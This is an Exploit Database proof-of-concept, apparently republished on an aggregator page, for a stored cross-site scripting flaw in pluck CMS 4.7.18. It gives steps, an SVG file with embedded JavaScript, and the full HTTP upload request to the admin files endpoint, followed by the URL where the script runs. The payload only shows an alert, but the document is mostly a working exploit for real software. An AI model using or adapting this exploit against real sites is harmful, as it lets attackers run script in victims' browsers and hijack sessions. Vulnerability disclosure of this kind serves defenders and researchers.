pluck v4.7.18 – Stored Cross-Site Scripting (XSS)

• Exploit Database
• 16 阅读

• 作者： Mirabbas Ağalarov
  日期： 2023-05-05
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51420/

• Exploit Title: pluck v4.7.18 - Stored Cross-Site Scripting (XSS)
  Application: pluck
  Version: 4.7.18
  Bugs:XSS
  Technology: PHP
  Vendor URL: https://github.com/pluck-cms/pluck
  Software Link: https://github.com/pluck-cms/pluck
  Date of found: 01-05-2023
  Author: Mirabbas Ağalarov
  Tested on: Linux 
  
  
  2. Technical Details & POC
  ========================================
  steps: 
  
  1. create .svg file.
  2. svg file content:
  <?xml version="1.0" standalone="no"?>
  <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
  
  <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
  alert(document.location);
   </script>
  </svg>
  
  3. upload file (http://localhost/pluck-4.7.18/admin.php?action=files)
  
  poc request
  
  
  POST /pluck-4.7.18/admin.php?action=files HTTP/1.1
  Host: localhost
  Content-Length: 672
  Cache-Control: max-age=0
  sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
  sec-ch-ua-mobile: ?0
  sec-ch-ua-platform: "Linux"
  Upgrade-Insecure-Requests: 1
  Origin: http://localhost
  Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJMTiFxESCx7aNqmI
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: navigate
  Sec-Fetch-User: ?1
  Sec-Fetch-Dest: document
  Referer: http://localhost/pluck-4.7.18/admin.php?action=files
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  Cookie: PHPSESSID=s34g5lr0qg5m4qh0ph5plmo8de
  Connection: close
  
  ------WebKitFormBoundaryJMTiFxESCx7aNqmI
  Content-Disposition: form-data; name="filefile"; filename="SVG_XSS.svg"
  Content-Type: image/svg+xml
  
  <?xml version="1.0" standalone="no"?>
  <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
  
  <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
  alert(document.location);
   </script>
  </svg>
  ------WebKitFormBoundaryJMTiFxESCx7aNqmI
  Content-Disposition: form-data; name="submit"
  
  Upload
  ------WebKitFormBoundaryJMTiFxESCx7aNqmI--
  
  
  
  4. go to http://localhost/pluck-4.7.18/files/svg_xss.svg